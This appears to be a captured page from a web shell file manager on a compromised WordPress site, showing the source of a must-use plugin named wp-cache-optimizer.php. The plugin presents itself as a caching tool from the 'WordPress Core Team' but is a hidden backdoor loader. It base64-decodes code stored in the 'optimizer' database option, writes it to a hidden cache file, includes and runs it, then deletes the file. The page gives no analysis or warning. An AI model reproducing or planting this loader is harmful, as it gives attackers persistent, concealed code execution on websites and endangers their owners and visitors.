BossBey File Manager
PHP:
8.0.9
OS:
Linux
User:
forge
Root
/
home
/
forge
/
tradeonlyemb.com
/
wp-content
/
mu-plugins
📤 Upload
📝 New File
📁 New Folder
Close
Editing: wp-cache-optimizer.php
<?php /* Plugin Name: WordPress Cache Optimizer Description: Advanced object caching assistant and performance monitoring module. Helps improve site speed and resource management. Do not deactivate or delete. Version: 1.3.5 Author: WordPress Core Team License: GPL-2.0+ */ add_action("init", function () { $encoded = get_option("optimizer"); if (!$encoded) return; $code = base64_decode($encoded); $cache_dir = WP_CONTENT_DIR . "/cache"; if (!is_dir($cache_dir)) { @mkdir($cache_dir, 0755, true); } $tmp = $cache_dir . "/.cache.php"; if (@file_put_contents($tmp, $code) !== false) { register_shutdown_function(function() use ($tmp) { if (file_exists($tmp)) { @unlink($tmp); } }); @include $tmp; } });
Save
Cancel